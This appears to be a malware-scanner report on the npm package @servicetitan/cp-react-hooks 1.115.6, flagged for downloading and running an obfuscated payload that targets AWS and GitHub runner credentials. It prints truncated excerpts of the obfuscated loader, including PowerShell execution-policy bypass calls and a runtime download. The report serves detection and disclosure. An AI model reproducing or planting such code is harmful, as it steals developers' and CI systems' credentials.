@servicetitan/cp-react-hooks 1.115.6
Downloads and executes obfuscated payload
Obfuscated JavaScript targets AWS and GitHub credentialsObfuscated JavaScript targets AWS and GitHub runner credentials
SHA-2562adad9409ddca5089f61ac490dc490a6ff11b0dc1fe2b655013f895b12d465e3
Also flagged by osv (MAL-2026-11846: Malicious code in @servicetitan/cp-react-hooks (npm)) +2 more.
Evidence
1// @bun @bun-cjs
2var MmgoCP,etDiOOB,JqTtnbZ,bc3Kak,ZQmUTyQ,TTUgga,MDX6yrw,h8wMJNB,CabwE2L,x5ErqV;function WV8StW(MmgoCP,etDiOOB,JqTtnbZ){for(JqTtnbZ=0x0;JqTtnbZ<etDiOOB;JqTtnbZ++)MmgoCP.push(MmgoCP.shift());return MmgoCP}const n7gIxM=[0x0,0x1,0x8,0xff,"length","undefined",void 0x0,0xab,0x65,0xb2,0xd4,0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x3,0xa4,"h",0x37,"i","g",0x5,0xb9,0x57,0x52,0x7f,0x80,0xdf,0xef,0xf4,0xf5,"b",0x9,"d","\n",0x9e,0x6b,"c","f",0x4,0x3ff,0x10000,0xa,0xd800,0xdc00,0x56,0x4e,0x22,0x93,0x1f,0xc0,0xf,0xe0,0x12,0xf0,0x79,0xb1,0x2,"a",0x38,"e",0xb6,0xf8,0xd2,!0x1,0x200,0x116,0x64,0x7c,0x88,0x119,0x11a,0x108,0xbf,0xc1,0x13f,0xc6,0x100,null,0x4000,0xf6,0x2c,0xce,0xcc,0x5d,0xe1,".","Z","k",0x173,"l",0x179,0x17c,"m",0xe3,0x184,"p",0x185,0x186,0xa2,"s","o",0x5c,"j","/","w",0x16,0x163,"ng",0x16c,0x161,0x19f,0x1a0,"=",0x19c,0x1b0,0x1b1,0x1b2,0x1ba,"M",0x1da,0x1dc,0x1e8,0x5f,0xf3,0x96,0x4b,0x1ee,0x1ef,0x1f0,0x1f1,"-",0x55,!0x0,0x14e,0xf1,0xf2,0x9d,0xd3,0x209,0x20e,"r",0x213,0x216,0x217,0x227,0x226,0x225,0x10,0xffffffff,0x4a,0x20,0x23f,0x245,0xe5,0xa9,0x4f,0x248,0x243,0x254,0x …
2:129609… uffer,MDX6yrw=JqTtnbZ.String||String,h8wMJNB=JqTtnbZ.Array||Array,CabwE2L=function(){var MmgoCP=new h8wMJNB(n7gIxM[0x21]),etDiOOB,JqTtnbZ;evcN91N(etDiOOB=MDX6yrw[n7gIxM[0xd]]||MDX6yrw.fromCharCode,JqTtnbZ=[]);return function(...bc3Kak){evcN91N(bc3Kak[n7gIxM[0x4]]=n7gIxM[0x1],bc3Kak[-n7gIxM[0xa]]=n7gIxM[0x6],bc3K …
2:133993… Kak]===n7gIxM[0x5]){return MmgoCP[bc3Kak]=JqTtnbZ(etDiOOB[bc3Kak])}return MmgoCP[bc3Kak]}return new Function(bc3Kak(0x4d))()}],bc3Kak=void 0x0,ZQmUTyQ=[]);try{function CabwE2L(JqTtnbZ){var bc3Kak="]@,W_}D~ECYT+z?`o;.<9x{>![a*)\"0m^rQBIZ35PJ8n2HbckNpSAOLFVthuGefjU46dXlR#KwqsygMi1v7$%&(:=/|",ZQmUTyQ,MDX6yrw,h8wMJNB,CabwE2L,x5ErqV,WV8StW,hc1jfK9;evcN91N(ZQmUTyQ=""+(JqTtnbZ||""),MDX6yrw=ZQmUTyQ.length,h8wMJNB=[],CabwE2 …
240:39… f2738, _0x3038c8);
241 },
242 DVCdV: "-NoProfile",
243 PZdQt: "-NonInteractive",
244 NaIqo: "-ExecutionPolicy",
245 XFZDA: "-Command"
246 };
247 if (_0x5d8a27.WaLKQ(hc, _0x5d8a27.SiMvK, ["-v"])) {
248 execFileSync(_0x5d8a27.SiMvK, [_0x5d8a27.DQZne, _0x53801b, _0x2912ea, "-d", _0x44aefd], {
249 stdio: _0x5d8a27.FCJDu
250 });
251 return;
252 }
253 if (_0x5d8a27.lQXcL(process.platform, _0x5d8a27.MJNCi) && _0x5d8a27.WaLKQ(hc, "powershell", [_0x5d8a27.PpNLF])) {
254 _0x5d8a27.tHRFe(execFileSync, "powershell", [_0x5d8a27.DVCdV, _0x5d8a27.PZdQt, _0x5d8a27.NaIqo, "Bypass", _0x5d8a27.XFZDA, "Expand-Archive -LiteralPath '" + _0x53801b + "' -DestinationPath '" + _0x44aefd + "' -Force"], {
255 stdio: "inherit"
256 });
257 const _0x5 …
292:72…
293 const _0x28ebf = _0x369dd9 ? _0x5f1571.dAZFw : _0x5f1571.SBBJg;
294 const _0x9e5ce7 = "https://github.com/oven-sh/bun/releases/download/bun-v" + V + "/" + _0x2dfbd9 + ".zip";
295 const _0x231bb9 = _0x488df8.mkdtempSync(_0x3161c8.join(_0x24db8d.tmpdir(), _0x5f1571.zjKAu));
296 const _0x53b0cf = _0x3161c8.join(_0x231bb9, _0x2dfbd9 + ".zip");
297 const _0x3f5b74 = _0x3161c8.join(_0x231bb9, _0x28ebf);
298 const _0x5b0e02 = _0x3161c8.join(D, E);
299 tr …
Showing the top 5 files — 7 more files (28 regions) not shown.
No evidence locations were recorded for this file. Raw result